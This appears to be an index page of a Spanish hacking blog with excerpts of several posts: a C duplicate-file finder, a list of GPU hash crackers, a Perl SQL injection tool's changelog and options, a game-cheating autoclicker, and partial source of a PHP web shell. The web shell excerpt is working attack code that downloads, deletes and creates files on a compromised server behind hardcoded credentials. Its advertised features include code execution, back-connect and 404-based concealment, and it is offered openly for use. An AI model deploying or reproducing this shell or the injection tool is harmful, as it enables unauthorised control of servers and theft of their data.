[C][Tool] Repeated File Finder (by ca0s)
Publicado el 06/07/2010 12:07:00 en Programación General. Total de votos: 6 Votar
Repeated File Finder [By Ca0s]
Anduve aburrido estos dias y solo se me ocurre ir a /b/ a pedir ideas para codear. Me pidieron un buscador de archivos repetidos, porque a esa gente se le acumula el porno y claro, les ocupa espacio.
Y me salió esto, que aunque supongo que tendrá algun bug a parte de los que yo he encontrado:
-Si le pones maxima profundidad mas de 4 en C:\ peta.
-La comparación de archivos debería hacerla hasheando el archivo y comparando, no comparando el archivo entero cargandolo en la ram (vale para archivos de tamaño no demasiado grande, si el programa encuentra una ISO por ejemplo de mas de 1Gb y tenemos 1GB de RAM, pum!.
Y bueno, su tarea la cumple bien, encuentra todo lo que tengo repetido.
Uso:
FCC.exe -path [RUTA DE COMIENZO] -maxdepth [MAXIMO DE SUBCARPETAS] -ext EXTENSION1,EXTENSION2 -log ARCHIVO
-maxdepth no es obligatorio, si se deja en blanco se toma solo la carpeta de origen.
-ext no es obligatorio, si no se especifica coge las extensiones que van definidas en el programa (jpg,png,wmv,gif,mp4,mp3,wma,txt)
-log no es obligatorio, si se especifica se imprime el resultado a ARCHIVO
Y aquí el código:
/*
Repeated File Finder by Ca0s [c40s@hotmail.es]
[st4ck-3rr0r.blogspot.com]
[Ka0 Team 2010]
*/
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
// SHIT es obligatorio dejarlo siempre el ultimo. Será ignorado.
#define DEFEXST "jpg,png,wmv,gif,mp4,mp3,wma,txt,SHIT"
char usage[]="Uso: RFF.exe -path PATH -maxdepth MAXDEPTH -ext EXTENSION1,EXTENSION2,...";
char firstPath[MAX_PATH];
char myPath[MAX_PATH];
int maxDepth=-1;
char *extensions=NULL;
int verbose=0;
char fileLog[MAX_PATH];
int isLog=0;
FILE *fLog;
typedef struct archivo archivo;
struct archivo {
archivo *anterior;
char name[MAX_PATH];
char path[MAX_PATH];
int size;
//char *hash;
char extension[16];
int found;
archivo *siguiente;
};
typedef struct retorno retorno;
struct retorno {
archivo *first;
archivo *last;
};
typedef struct exts exts;
struct exts {
char myExt[16];
exts *next;
exts *ant;
};
exts *globalExts=NULL;
int cuenta=0;
retorno *getDirList(char *path, int cDepth);
void getExtension(char *path, char *dest);
int checkExtensions(char *given, exts *validas);
int comparar(char *file1, char *file2);
int main(int argc, char *argv[])
{
// Parseamos los argumentos
if(argc<3)
{
printf("%s", usage);
exit(0);
}
int cArgv;
for(cArgv=1;... [/url][/trombi]
Continúa aquí...Comentarios: 4 | Leer comentarios
Crackers con la GPU
Publicado el 18/06/2010 12:06:00 en Hacking Tools. Total de votos: 3 Votar
Son crackers para hashes que aprovechan la potencia de cálculo de la GPU para reventarlos. Normalmente son para chips nVidia, pero también los hay para Ati.
IgHashGpu
Chips: nVidia (CUDA) y ATI
Hashes: SHA1, MD5 y MD4 (posibilidad de usar salts, funciona también con MySQL5, MsSQL, etc.
Velocidad: unos 150 millones/segundo (con mi 220m, con mas potentes puede llegar a 500 creo)
Sitio: http://www.golubev.com/hashgpu.htm
OS: Windows
Es el que mejor me va a mi, y muy sencillo de usar.
MD5 GPU Crack
Chips: solo nVidia con CUDA
Hashes: MD5
OS: Win/Linux
Velocidad: unos 200 millones/segundo
Sitio: http://bvernoux.free.fr/md5/index.php
Lightning Hash Cracker
Chips: solo nVidia con CUDA
Hashes: MD5
OS: Windows
Velocidad: 300 millones/segundo (hasta 600 con 9800gx2)
Sitio: http://www.elcomsoft.com/lhc.html
BarsWF
Chips: nVidia(CUDA) / ATI
Hashes: MD5
OS: Windows
Velocidad: máximo de 350 millones/segundo
Sitio: http://3.14.by/en/md5
La documentación de cada una en su web.
Tarjetas nVidia con CUDA:
http://www.nvidia.com/object/cuda_gpus.html
Es solo una recopilación hecha por mi de los que parecen más potentes. Si conocéis alguno mejor comentadlo y lo conocemos todos XD
Comentarios: 7 | Leer comentarios
SQL Iny3ct0r v2
Publicado el 09/04/2010 12:04:00 en Hacking Tools. Total de votos: 7 Votar
YAST (Yet Another SQLi Tool XD)
V1:
- Extrae del information_schema
- Guarda en archivo de texto
- Y no recuerdo, pero poco más hacía XD
Cambios de v1 a la v1.5:
- Arreglados algunos fallos
- Añadida fuerza bruta
- Extrae mysql.user
- Extrae los nombres de las bases de datos y el usuario
- Prueba load_file()
Cambios de v1.5 a v2.0:
- Inyección SQL a ciegas (Blind SQLi)
- Inyección SQL a ciegas por fuerza bruta
- Mas modos de detectar cuando la inyeccion es exitosa
- unhex(hex())
- Mas errores arreglados
- Posibilidad de elegir el comentario final
Pues es la herramienta que me propuse hacer cuando empecé con perl. LLevaba meses sin tocarla y al final me he decidido a terminarla. Espero que a alguien le sea de utilidad.
La mayor novedad es que hace inyecciones a ciegas, ya sea tirando del information_schema o bruteando las tablas y columnas.
Instrucciones:
- f : Modo fuerza bruta, no usa information_schema
- b : Modo inyección a ciegas
-f -b : Junta las dos anteriores
-good "texto": para Blind SQLi, toma como exitosa una inyección si encuentra "texto" en la respuesta del server.
-bad "texto": lo mismo, pero al revés, la toma como exitosa si no lo encuentra.
-good y -bad no son compatibles.
-proxy "proxy:puerto" : utiliza un proxy
Ejempos de uso con salida:
- Extrayendo de information_schema.
- Extrayendo con fuerza bruta.
- Extrayendo con inyección a ciegas.
- Extrayendo con inyeccion a ciegas y fuerza bruta.
#!/usr/bin/perl
use Switch;
use LWP::UserAgent;
# Ca0s SQL P3r1 Iny3ct0r v2.0 ## Ca0s SQL P3r1 Iny3ct0r v2.0
# Coded by Ca0s { c40s[at]hotmail[dot]es } ## Programado por Ca0s { c40s[at]hotmail[dot]es
# gr33tz to #RE & DDLR & EvilZone ## Pasate por #RemoteExecution & DiosDeLaRed & EvilZone
# gr33tz a descendents por sus ideas
# Changes from v1 to v1.5: ## Cambios de la v1 a la v1.5:
# - Some bugs fixed ## - Arreglados algunos fallos
# - Added brute forcing ## - Añadida fuerza bruta
# - Mysql.user check and extraction ## - Extrae mysql.user
# - Database and Username extraction ## - Extrae los nombres de las bases de datos y el usuario
# - T... [/url][/trombi]
Continúa aquí...Comentarios: 26 | Leer comentarios
[C] Autoclicker simplón
Publicado el 29/01/2010 12:01:00 en Programación General. Total de votos: 4 Votar
Una tontada que hice esta tarde para cheatear en un juego, la posteo por darle vida a mi blog mas que nada XD:
#include <stdio.h>
#include <windows.h>
int getnum(int *result) // Esta la vi por internet un dia y me he acordado.
{ // Lo mismo se podria haber hecho mas facil sin funcion, pero... pereza
char buff [ 13 ];
return fgets(buff, sizeof buff, stdin) && sscanf(buff, "%d", result) == 1;
}
int main()
{
printf("<<<<-- Ca0s Autoclicker -->>>>\n");
printf("\n[-] Numero de clicks: ");
int clicks;
do getnum(&clicks);
while(!clicks);
printf("\n[-] Tiempo entre cada click (0 para no esperar): ");
int sleep;
getnum(&sleep);
printf("\n[+] Pulsa una intro para empezar...");
int charr;
charr=fgetc(stdin);
printf("\n[+] Clicks: %d ; Espera: %d", clicks, sleep);
printf("\n[+] Tienes 5 segundos para cambiar de ventana y situar el cursor!\n");
// Sleep inicial para dar tiempo a abrir otra ventana...
Sleep(5000);
int i;
for(i=0; i<clicks; i++)
{
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 1, 1, 1, 1);
//mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 1, 1, 1, 1); Era un test
if(sleep)
Sleep(sleep);
}
printf("[+] Finalizado.\n\n");
charr=fgetc(stdin);
return 0;
}
Hala, saludos.
Comentarios: 10 | Leer comentarios
Ca0s sh311 1.5
Publicado el 20/11/2009 12:11:00 en Hacking Tools. Total de votos: 3 Votar
Old:
- Explorador de arvhivos (con edición, descarga y delete).
- Ejecución de código.
- Back-Connect (fixed, antes solo funcionaba si register_globals estaba on)
New:
- SQL explorer.
- Mejorado el explorador de archivos.
- Búsqueda de RootExploit y búsqueda en MilWorm.
- Protección de la shell con contraseña, esquive con errores 404 (personalizable, ver código)
Para la próxima:
- Dump de una BD entera.
- FTP
- Mass deface.
<?php
/*
º PHP Web Shell By Ca0s v1.5 º
º FEATURES: º
º # Server info and exploit search º
º # File exploring / creating / editing / deleting º
º # Code execution º
º # SQL Exploring º
º # Multi-language back-connect º
º TO DO: º
º -Fix some bugs i have to find
º -Improve SQL explorer º
º -Erase PHP errors º
º -FTP Client/Server º
º GREETZ: º
º || W4R10K || Nathaniel || º
º || EvilZone.org || RemoteExecution.org || º
º All people who support me :-) º
º Comunidad latina/española º
*/
session_start();
// If $ask == 1 You must enter the shell whith <name>.php?user=$user&pass=$pass for the first time so the session is set to a valid valour
$user="ca0s";
$pass="ca0s";
$ask=1; // 1 = ask for user and pass \\ 2 = Dont ask for it
if(($_GET["user"]==$user)&&($_GET["pass"]==$pass)||($_SESSION["ok"]==md5($user.$pass)||$ask==0))
{
$_SESSION["ok"]=md5($user.$pass);
/*Upload, delete y download de archivos*/
if(isset($_GET['file']))
{
$archivo=$_GET['file'];
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($archivo));
readfile($archivo);
exit();
}// abrir($_GET['file']) && die;
if(isset($_GET["dfile"]))
@unlink($_GET["dfile"]);
if(isset($_GET['dfold']))
{
$fPath=$_GET['dfold'];
if(is_dir($fPath))
{
$c=countFiles($fPath);
if($c==0)
{
if(rmdir($fPath))
$statemsg="Carpeta <$fPath> borrada.";
else $statemsg="No pudo eliminarse la carpeta.";
}
else $statemsg="La carpeta ha de estar vacía para su eliminación.";
}
}
if(isset($_GET["mkdir"]))
{
if(!@mkdir($_GET["mkdir"], 777))
$statemsg = "No pudo crearse la carpeta.";
else
$statemsg = "Carpeta creada -> ".$_GET["mkdir"];
}
if(isset($_GET["mkfile"]))
{
if(file_exists($_GET["mkfile"]))
$statemsg="Ese archivo ya existe, elige otro nombre.";
else
{
if(!($mkfile=@fopen($_GET["mkfile"], "w"... [/url][/trombi]
Continúa aquí...Comentarios: 8 | Leer comentarios